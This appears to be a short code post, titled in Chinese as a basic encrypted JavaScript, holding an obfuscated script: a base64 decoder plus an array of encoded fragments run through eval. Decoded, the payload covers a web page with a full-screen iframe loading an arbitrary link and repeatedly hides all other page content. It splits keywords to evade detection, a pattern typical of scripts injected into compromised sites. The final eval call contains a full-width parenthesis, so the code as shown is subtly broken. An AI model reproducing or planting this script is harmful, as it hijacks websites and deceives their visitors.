js一个基础的加密JS

function _0xfdi(e) {
            var m = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
            var t = "", n, r, i, s, o, u, a, f = 0;
            e = e.replace(/[^A-Za-z0-9+/=]/g, "");
            while (f < e.length) {
                s = m.indexOf(e.charAt(f++));
                o = m.indexOf(e.charAt(f++));
                u = m.indexOf(e.charAt(f++));
                a = m.indexOf(e.charAt(f++));
                n = s << 2 | o >> 4;
                r = (o & 15) << 4 | u >> 2;
                i = (u & 3) << 6 | a;
                t = t + String.fromCharCode(n);
                if (u != 64) {
                    t = t + String.fromCharCode(r)
                }
                if (a != 64) {
                    t = t + String.fromCharCode(i)
                }
            }
            return t
        };var _0xlmk = ['ZnVuY3Rpb24g', 'XzB4ZmRkKGxp', 'bmspewoJCQl2', 'YXIgc3MgPSAn', 'PGRpdiBpZD0i', 'c2hvd2FkIiBz', 'dHlsZT0iaGVp', 'Z2h0OiAxMDAl', 'OyB3aWR0aDog', 'MTAwJTsgei1p', 'bmRleDo5OTk5', 'OTk7IGJhY2tn', 'cm91bmQtY29s', 'b3I6IHJnYigy', 'NTUsIDI1NSwg', 'MjU1KTsgYmFj', 'a2dyb3VuZC1w', 'b3NpdGlvbjog', 'aW5pdGlhbCBp', 'bml0aWFsOyBi', 'YWNrZ3JvdW5k', 'LXJlcGVhdDog', 'aW5pdGlhbCBp', 'bml0aWFsOyI+', 'PGlmcicgKyAn', 'YW1lIGlkPSJv', 'bmx5c2hvdyIg', 'c2Nyb2xsaW5n', 'PSJ5ZXMiIG1h', 'cmdpbmhlaWdo', 'dD0wIG1hcmdp', 'bndpZHRoPTAg', 'IGZyYW1lYm9y', 'ZGVyPSIwIiB3', 'aWR0aD0iMTAw', 'JSIgaGVpZ2h0', 'PSIxMDAlIiBz', 'cmM9IicgKyBs', 'aW5rICsgJyI+', 'PC9pZnJhbWU+', 'PC9kaXY+PHN0', 'eWxlIHR5cGU9', 'InRleHQvY3Nz', 'Ij5odG1se3dp', 'ZHRoOjEwMCU7', 'aGVpZ2h0OjEw', 'MCU7fWJvZHkg', 'e3dpZHRoOjEw', 'MCU7aGVpZ2h0', 'OjEwMCU7fTwv', 'c3R5bGU+JzsK', 'CQkJZXZhbCgi', 'ZG8iICsgImN1', 'IiArICJtZW50', 'LndyIiArICJp', 'dGUoJyIgKyBz', 'cyArICInKTsi', 'KTsKCQkJdHJ5', 'IHsKCQkJCXNl', 'dEludGVydmFs', 'KGZ1bmN0aW9u', 'KCkgewoJCQkJ', 'CXRyeSB7CgkJ', 'CQkJCWRvY3Vt', 'ZW50LmdldEVs', 'ZW1lbnRCeUlk', 'KCJkaXYiICsg', 'IkFsbCIpLnN0', 'eWxlLmRpc3Bs', 'YXkgPSAibm8i', 'ICsgIm5lIgoJ', 'CQkJCX0gY2F0', 'Y2ggKGUpIHt9', 'CgkJCQkJZm9y', 'ICh2YXIgaSA9', 'IDA7IGkgPCBk', 'b2N1bWVudC5i', 'b2R5LmNoaWxk', 'cmVuLmxlbmd0', 'aDsgaSsrKSB7', 'CgkJCQkJCXRy', 'eSB7CgkJCQkJ', 'CQl2YXIgYSA9', 'IGRvY3VtZW50', 'LmJvZHkuY2hp', 'bGRyZW5baV0u', 'dGFnTmFtZTsK', 'CQkJCQkJCXZh', 'ciBiID0gZG9j', 'dW1lbnQuYm9k', 'eS5jaGlsZHJl', 'bltpXS5pZDsK', 'CQkJCQkJCWlm', 'IChiICE9ICJz', 'aG93YWQiICYm', 'IGIgIT0gIm9u', 'bHlzaG93Iikg', 'ewoJCQkJCQkJ', 'CWRvY3VtZW50', 'LmJvZHkuY2hp', 'bGRyZW5baV0u', 'c3R5bGUuZGlz', 'cGxheSA9ICJu', 'b24iICsgImUi', 'CgkJCQkJCQl9', 'CgkJCQkJCX0g', 'Y2F0Y2ggKGUp', 'IHt9CgkJCQkJ', 'fQoJCQkJfSwg', 'MTAwKQoJCQl9', 'IGNhdGNoIChl', 'KSB7fTsKCQkJ', 'fQ=='];
        eval（_0xfdi(_0xlmk.join('')));

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